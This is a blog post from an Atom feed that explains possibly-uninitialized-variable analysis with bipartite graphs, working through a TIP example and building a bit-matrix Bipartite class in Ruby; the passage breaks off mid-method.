<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Tenderlove Making</title>
  <link rel="self" href="https://tenderlovemaking.com/atom.xml"/>
  <link href="https://tenderlovemaking.com/"/>
  <updated>2026-10-18T20:20:26-07:00</updated>
  <author>
    <name>Aaron Patterson</name>
    <email>tenderlove@ruby-lang.org</email>
  </author>
  <rights> © Aaron Patterson - tenderlove@ruby-lang.org</rights>
  <id>https://tenderlovemaking.com/</id>
  
    <entry>
    <title>Static Analysis for the Uninitialized</title>
    <link rel="alternate" href="https://tenderlovemaking.com/2026/10/18/static-analysis-for-the-uninitialized/"/>
    <id>https://tenderlovemaking.com/2026/10/18/static-analysis-for-the-uninitialized/</id>
    <published>2026-10-18T20:20:26-07:00</published>
    <updated>2026-10-18T20:20:26-07:00</updated>
    <content type="html">&lt;p&gt;I really enjoy learning new things in my free time.
Lately I&amp;rsquo;ve been studying &lt;a href=&#34;https://cs.au.dk/~amoeller/spa/&#34;&gt;this book on Static Program Analysis&lt;/a&gt;.
The book is very good, but some of the formulas are quite dense so I like to try writing them out in code.&lt;/p&gt;
&lt;p&gt;The chapter I&amp;rsquo;m currently reading (chapter 9) has a section on finding possibly-uninitialized variables using bipartite graphs.
I&amp;rsquo;ve found it to be quite enjoyable, so in this post I would like to describe, in my own words, how to do it.
We&amp;rsquo;ll start by analyzing some code from a toy programming language the book uses called &amp;ldquo;TIP&amp;rdquo;, and then we&amp;rsquo;ll use the techniques we developed to analyze some Ruby code.&lt;/p&gt;
&lt;p&gt;In other words, we&amp;rsquo;re going to write a program to analyze programs.
We&amp;rsquo;re really going to be meta-programmers today!&lt;/p&gt;
&lt;h2 id=&#34;uninitialized-variables-in-tip&#34;&gt;Uninitialized variables in TIP&lt;/h2&gt;
&lt;p&gt;The TIP programming language is like a very very simplified version of JavaScript.
Below is the code we&amp;rsquo;ll be analyzing:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;a&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;b&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;;    &lt;span style=&#34;color:#75715e&#34;&gt;// a, b, c
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;a&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;input&lt;/span&gt;;      &lt;span style=&#34;color:#75715e&#34;&gt;// b, c
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;b&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;a&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;;      &lt;span style=&#34;color:#75715e&#34;&gt;// b, c
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;input&lt;/span&gt;) {    &lt;span style=&#34;color:#75715e&#34;&gt;// b, c
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;        &lt;span style=&#34;color:#75715e&#34;&gt;// b
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}               &lt;span style=&#34;color:#75715e&#34;&gt;// b, c
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This example is taken straight from the chapter.
In TIP, you declare variables with the &lt;code&gt;var&lt;/code&gt; keyword kind of like in JavaScript.
In chapter 9 of the book, the TIP language only has integers; later chapters add pointers.&lt;/p&gt;
&lt;p&gt;In TIP, 0 is considered false, and there is a special function &lt;code&gt;input&lt;/code&gt; that returns an integer input from the user.&lt;/p&gt;
&lt;p&gt;Each line in the above code has a comment indicating which variables are possibly uninitialized.
I keep saying &amp;ldquo;possibly&amp;rdquo;, and I&amp;rsquo;ll explain why later.&lt;/p&gt;
&lt;p&gt;The first line declares the variables with &lt;code&gt;var&lt;/code&gt;, and all variables start as &amp;ldquo;uninitialized&amp;rdquo; when they are declared.
The second line gets input and assigns it to &lt;code&gt;a&lt;/code&gt;, so now only &lt;code&gt;b&lt;/code&gt; and &lt;code&gt;c&lt;/code&gt; are uninitialized.
The third line adds &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;c&lt;/code&gt; and assigns it to &lt;code&gt;b&lt;/code&gt;.
On this line, &lt;code&gt;b&lt;/code&gt; is still considered to be &amp;ldquo;uninitialized&amp;rdquo; because &lt;code&gt;c&lt;/code&gt; is uninitialized, and the value of &lt;code&gt;b&lt;/code&gt; depends on the values of &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;c&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The fourth line is an if statement, and whether we take the if statement depends on input from the user.
In other words, we can&amp;rsquo;t statically determine whether this statement is taken or not.
The if statement doesn&amp;rsquo;t impact the &amp;ldquo;initializedness&amp;rdquo; of any variables, so all variables maintain their state (&lt;code&gt;b&lt;/code&gt; and &lt;code&gt;c&lt;/code&gt; are uninitialized).&lt;/p&gt;
&lt;p&gt;If we take the branch, the 5th line will assign a value to &lt;code&gt;c&lt;/code&gt;, so at that line only &lt;code&gt;b&lt;/code&gt; is uninitialized.&lt;/p&gt;
&lt;p&gt;On the 6th line, we can&amp;rsquo;t know whether the if statement branch executed, so we have to say that &lt;code&gt;b&lt;/code&gt; and &lt;code&gt;c&lt;/code&gt; are &lt;em&gt;possibly&lt;/em&gt; uninitialized.
This is why our analysis is only giving us a &amp;ldquo;possibly uninitialized&amp;rdquo; result.
If the branch is taken, then &lt;code&gt;c&lt;/code&gt; will be initialized, otherwise it won&amp;rsquo;t.
But since we can&amp;rsquo;t know whether the branch will be taken, we have to be conservative and say that &lt;code&gt;c&lt;/code&gt; &lt;em&gt;may&lt;/em&gt; be uninitialized on line 6.&lt;/p&gt;
&lt;p&gt;These two states, &lt;code&gt;initialized&lt;/code&gt; and &lt;code&gt;possibly uninitialized&lt;/code&gt;, form a two element lattice, with &lt;code&gt;possibly uninitialized&lt;/code&gt; on top.
The top is the &amp;ldquo;safe&amp;rdquo; answer: it&amp;rsquo;s never wrong to say a variable &lt;em&gt;might&lt;/em&gt; be uninitialized, it&amp;rsquo;s just less precise.&lt;/p&gt;
&lt;p&gt;When two paths in the code meet, like at the end of the if statement on line 6, we take the higher of the two states (because the less precise decision is also the &amp;ldquo;safe&amp;rdquo; one).
On one path &lt;code&gt;c&lt;/code&gt; is initialized, on the other it&amp;rsquo;s possibly uninitialized, so after the if statement it&amp;rsquo;s possibly uninitialized.&lt;/p&gt;
&lt;h2 id=&#34;representing-data-flow-with-a-graph&#34;&gt;Representing data flow with a graph&lt;/h2&gt;
&lt;p&gt;The rules for each line in uninitialized variable analysis are so-called &amp;ldquo;distributive functions&amp;rdquo;.
For example, take the rule for line 3, &lt;code&gt;b = a + c&lt;/code&gt;.
If we feed it the set &lt;code&gt;{a, c}&lt;/code&gt;, we get the same answer as feeding it &lt;code&gt;{a}&lt;/code&gt; and &lt;code&gt;{c}&lt;/code&gt; separately and then taking the union of the results: &lt;code&gt;rule({a, c}) = rule({a}) | rule({c})&lt;/code&gt;.
This is just like in math class where we could say &lt;code&gt;a(b + c) = ab + ac&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In the case of a two element lattice and an analysis that uses a distributive function, we can represent the variable states using a bipartite graph.
The book works out the proof for this, but I&amp;rsquo;m going to omit it (because I want to get to the coding part).
But if you want to see the proof, check chapter 9!&lt;/p&gt;
&lt;h2 id=&#34;what-is-a-bipartite-graph&#34;&gt;What is a bipartite graph?&lt;/h2&gt;
&lt;p&gt;A bipartite graph is just a graph with &amp;ldquo;two sides&amp;rdquo;.
Nodes on one side of the graph will connect with nodes on the other side of the graph, but never with their own side.
I imagine it like two football teams tackling each other, each player is a node, and tackling someone else is an edge in the graph.
Hopefully the players don&amp;rsquo;t tackle people on their own team, and they form a bipartite tackle graph!&lt;/p&gt;
&lt;p&gt;In our case, each node in our graph will represent a variable in the program, and we&amp;rsquo;ll have one extra node that represents &amp;ldquo;uninitialized&amp;rdquo;.
For one graph, we&amp;rsquo;ll double those nodes, and use the edges to represent the flow of data through the code.&lt;/p&gt;
&lt;p&gt;For example, let&amp;rsquo;s look at the bipartite graph for the first line, &lt;code&gt;var a, b, c&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;span class=&#34;diagram&#34;&gt;&lt;img src=&#34;/2026/10/18/static-analysis-for-the-uninitialized/images/var_a_b_c.svg&#34; alt=&#34;The bipartite graph for var a, b, c&#34;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;*&lt;/code&gt; node on the left represents the value &amp;ldquo;uninitialized&amp;rdquo;.
On the &lt;code&gt;var a, b, c&lt;/code&gt; line, the &amp;ldquo;uninitialized&amp;rdquo; value flows from &lt;code&gt;*&lt;/code&gt; to the &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;b&lt;/code&gt;, and &lt;code&gt;c&lt;/code&gt; nodes.&lt;/p&gt;
&lt;p&gt;Next let&amp;rsquo;s look at the graph for line 2, &lt;code&gt;a = input;&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;span class=&#34;diagram&#34;&gt;&lt;img src=&#34;/2026/10/18/static-analysis-for-the-uninitialized/images/a_input.svg&#34; alt=&#34;The bipartite graph for a = input&#34;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In this graph, the uninitialized node flows to itself.
The variables &lt;code&gt;b&lt;/code&gt; and &lt;code&gt;c&lt;/code&gt; haven&amp;rsquo;t changed, so whatever value &lt;em&gt;was&lt;/em&gt; in &lt;code&gt;b&lt;/code&gt; and &lt;code&gt;c&lt;/code&gt; just flow to the other side of the graph.
The variable &lt;code&gt;a&lt;/code&gt; got initialized from &lt;code&gt;input&lt;/code&gt;, so &lt;em&gt;no value&lt;/em&gt; flows to the other side of the graph.&lt;/p&gt;
&lt;p&gt;The reason &lt;em&gt;no value&lt;/em&gt; flows is because we&amp;rsquo;re tracking &amp;ldquo;uninitializedness&amp;rdquo;, and on this line &lt;code&gt;a&lt;/code&gt; becomes initialized, so the absence of an edge means we got a value.&lt;/p&gt;
&lt;p&gt;If we repeat this value flow process and then line each graph up next to each other, we&amp;rsquo;ll end up with a graph like this:&lt;/p&gt;
&lt;p&gt;&lt;span class=&#34;diagram&#34;&gt;&lt;img src=&#34;/2026/10/18/static-analysis-for-the-uninitialized/images/program.svg&#34; alt=&#34;The bipartite graphs for every line, stacked&#34;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;A black dot in the variable&amp;rsquo;s column indicates that the variable is possibly uninitialized at that point.
Grey dots and lines indicate paths that don&amp;rsquo;t occur because the link was severed earlier.
The dotted lines indicate alternate paths the code can take; an if statement has two outgoing paths.&lt;/p&gt;
&lt;p&gt;Looking at the graph we can see that (obviously) uninitialized (&lt;code&gt;*&lt;/code&gt;) is always uninitialized (we don&amp;rsquo;t bother to print that out because it&amp;rsquo;s not very helpful).
We can also see that the black dots correspond to the &amp;ldquo;uninitialized variable&amp;rdquo; comments from the example code.
For example, right after &lt;code&gt;b = a + c&lt;/code&gt;, the &lt;code&gt;b&lt;/code&gt; and &lt;code&gt;c&lt;/code&gt; variable have a black dot indicating that they are possibly uninitialized.&lt;/p&gt;
&lt;h2 id=&#34;representing-a-bipartite-graph-in-ruby&#34;&gt;Representing a bipartite graph in Ruby&lt;/h2&gt;
&lt;p&gt;If we assign each variable a number (and reserve 0 as the number for &amp;ldquo;uninitialized&amp;rdquo;), we can represent this bipartite graph in Ruby using a bit matrix.&lt;/p&gt;
&lt;p&gt;The graph needs to store a connection between any of the variables, and an &amp;ldquo;on&amp;rdquo; bit represents an &amp;ldquo;uninitialized&amp;rdquo; state from our lattice flowing from one variable to another.
Since we need to be able to record an edge from any variable to any variable (plus the uninitialized value), the number of bits required is &lt;code&gt;(number of variables + 1) ** 2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Our example case has 3 variables, plus the extra variable for &amp;ldquo;uninitialized&amp;rdquo;, so we can do it in 16 bits.
In practice though, to make accessing the data easier, we&amp;rsquo;ll align on a byte:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Bipartite&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;initialize&lt;/span&gt; u, v
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# We need v bits times u.  Each row (u1, u2, etc) needs v bits&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# to represent the edge from u to v.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# We&amp;#39;ll round up v to make the buffer aligned&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @row_bytes &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (v &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;7&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;# round up to whole bytes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @buffer &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\0&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;b &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; (u &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; @row_bytes)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# Set an edge from u to v&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;set&lt;/span&gt; u, v
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# calculate our byte index&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    idx &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; u &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; @row_bytes &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; v &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# set the bit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @buffer&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;setbyte(idx, @buffer&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;getbyte(idx) &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; (&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; (v &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;)))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The way we use this class is by assigning numbers to variables and then calling &lt;code&gt;set&lt;/code&gt; with the edges we need.
For example, to represent &lt;code&gt;var a, b, c;&lt;/code&gt;, we need to connect &amp;ldquo;uninitialized&amp;rdquo; to the &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;b&lt;/code&gt;, and &lt;code&gt;c&lt;/code&gt; variables.
If we&amp;rsquo;ve assigned them numbers, we can do it as follows:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;STAR&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;A    &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;B    &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;C    &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# graph for `var a, b, c;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;line1 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;Bipartite&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;new(&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;line1&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;set(&lt;span style=&#34;color:#66d9ef&#34;&gt;STAR&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;STAR&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;line1&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;set(&lt;span style=&#34;color:#66d9ef&#34;&gt;STAR&lt;/span&gt;, A)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;line1&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;set(&lt;span style=&#34;color:#66d9ef&#34;&gt;STAR&lt;/span&gt;, B)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;line1&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;set(&lt;span style=&#34;color:#66d9ef&#34;&gt;STAR&lt;/span&gt;, C)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we can represent the data flow rules for any line in the program.
The next step is we need a way to connect graphs together.
To do this, we&amp;rsquo;ll add another method &lt;code&gt;apply&lt;/code&gt; that takes as input a list of &amp;ldquo;possibly uninitialized variables&amp;rdquo; (these are also known as &amp;ldquo;facts&amp;rdquo;) and returns a new list of &amp;ldquo;possibly uninitialized variables&amp;rdquo; based on the data flow rules for that graph.&lt;/p&gt;
&lt;p&gt;Since the input variables are just numbers, we can use each one as a row index into our bit matrix.
Practically speaking, this means we bitwise OR together the rows for each input variable, and then get the position of the &amp;ldquo;on&amp;rdquo; bits in the output.&lt;/p&gt;
&lt;p&gt;Here is the code for the &lt;code&gt;apply&lt;/code&gt; function:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Bipartite&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;apply&lt;/span&gt; us
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    row &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\0&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;b &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; @row_bytes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    us&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;each &lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;u&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      start &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; u &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; @row_bytes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      @row_bytes&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;times &lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;b&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        row&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;setbyte(b, row&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;getbyte(b) &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; @buffer&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;getbyte(start &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; b))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    set_bits row, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;# get all set bit positions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;private&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;set_bits&lt;/span&gt; bytes, start
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    list &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @row_bytes&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;times &lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;b&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      byte &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; bytes&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;getbyte(start &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; b)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt; byte&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;positive?
